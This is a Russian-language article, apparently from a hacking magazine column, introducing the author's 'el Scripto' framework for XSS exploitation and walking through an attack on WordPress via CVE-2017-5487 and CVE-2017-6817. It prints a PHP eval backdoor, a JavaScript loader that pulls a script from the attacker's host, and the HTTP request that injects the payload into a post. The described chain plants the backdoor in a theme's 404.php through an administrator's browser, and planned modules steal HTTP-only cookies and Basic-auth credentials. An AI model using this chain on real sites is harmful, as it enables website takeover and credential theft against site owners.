X-Tools: разбираемся с el Scripto, фреймворком нового типа для XSS-атак

Я давно увлекаюсь XSS-атаками, размышляю над разными техниками эксплуатации, ищу обходы и новые векторы для внедрения кода в страницы. В определенный момент у меня накопилось много файлов с XSS-эксплоитами для топовых CMS, и, зная, что в Сети такое добро редко встречается, я решил собрать это все в один набор и назвать его el Scripto.

Зачем нужен el Scripto?

Мне хотелось реализовать:

  • набор эксплоитов для XSS в различных CMS;
  • универсальный эксплоит для XSS;
  • красивые и информативные отчеты;
  • легкость эксплуатации и минимальные требования (Apache + PHP + MySQL + поддержка SSL).

В конце разработки добавился плагин для Burp Suite, посылающий XSS-пейлоад во все места на сайте (Blind XSS проверки).

Так как я не профессиональный разработчик, да и вообще разработчиком меня назвать язык не повернется, за основу решил взять темплейт на Bootstrap «SB Admin», следом был добавлен highlight.js для подсветки синтаксиса в отчетах и редакторе эксплоитов.

Главная страница содержит небольшую статистику, кнопку для скачивания плагина для Burp, а также список добавленных эксплоитов и пейлоады для них

Страница со списком отчетов

Тут еще куча HTML-кода, выдранного из DOM страницы

Пример отчета

FAQ

Как этот фреймворк может помочь пентестерам?

Наверняка многие знают, что такое Meterpreter в MSF. Сам по себе он мало интересен, это полезная нагрузка для эксплуатации уязвимостей. То же самое и тут: находит кто-либо XSS в топовом движке, а полезная нагрузка для нее уже есть под рукой, и осталось всего лишь дождаться админа.

Очередной BeEF?

Нет. BeEF универсален, он не умеет сам лить бэкдоры или создавать новых админов на форуме, это приходится в нем делать вручную. Осложняется все тем, что он палится многими антивирусами и атакующий не может угадать, когда админ будет онлайн, чтобы выполнить все, что нужно, в его браузере. Но тем не менее интегрировать его и el Scripto было бы интересно.

Эксплуатируем баги WordPress CVE-2017-5487 и CVE-2017-6817 с el Scripto

Рассмотрим пример для двух критических багов в WordPress, найденных в январе — феврале этого года.

  • CVE-2017-5487 позволяет неавторизованному злоумышленнику редактировать содержимое любого поста в блоге;
  • CVE-2017-6817 — хранимая XSS в контенте поста.

Для начала в el Scripto на странице prepare.html добавим в базу эксплоит для WordPress, чтобы для него был сгенерирован свой пейлоад.

Пример страницы prepare.html

Кратко пройдемся по коду эксплоита:

  • payload — код PHP-бэкдора:

    <?php if(isset($_GET['a'])){eval($_GET['a'])}; ?>
  • SitePath — путь к корню блога;
  • editor — iframe-элемент, открывающий редактор тем, после успешной загрузки срабатывает событие onload, запускающее функцию pao;
  • функция pao (parse and open) — функция, которая парсит имя используемой темы и открывает ее файл 404.php для редактирования, после чего срабатывает событие onload у элемента editor и запускается функция eas;
  • функция eas (edit and save) — функция, которая дописывает PHP-бэкдор (payload) в конец файла 404.php и сохраняет его.

Вернемся к эксплуатации. Далее нам нужно на главной странице выбрать наш новый эксплоит и скопировать JavaScript-пейлоад от него:

document.body.appendChild(document.createElement('script')).src='//elScripto/ /jquery.min.js?ver=6'

В запросе ниже заменяем:

  • alert(2) на пейлоад;
  • post id на айди поста, который будем редактировать в атакуемом блоге;
  • id в JSON'е на тот же id и рандомную строку.
POST /wordpress/index.php?rest_route=/wp/v2/posts/%post id% HTTP/1.1
Host: 1.3.3.7
Connection: close
Content-Type: application/json
Content-Length: 129

{"id":"1string", "title":"demo", "content":""}
Скриншот, демонстрирующий успешное изменение поста (в запросе Cookie не были переданы)

Советую редактировать те посты, которые видно на главной странице, как только администратор авторизуется и зайдет на главную, эксплоит будет исполнен.


Планы на «подпилить»:

  • добавить модуль для обхода Basic-авторизации;
  • добавить модуль для сбора авторизационных данных (Cookie HTTP-only, значение хидера Basic-авторизации) из phpinfo();
  • сделать эти модули подключаемыми и настраиваемыми по желанию;
  • конечно же, добавлять новые эксплоиты.

Текущая версия el Scripto доступна у меня на Гитхабе.

Хочу поблагодарить @i_bo0om за тему со скриншотами страниц и @httpsonly за идею с плагином для Burp Suite.

Комментарии (3)

  • Исходя из того, как ясно, автор, изъясняется, скажу, что у нас в дурке, сказали бы, что слишком,,,,,

Похожие материалы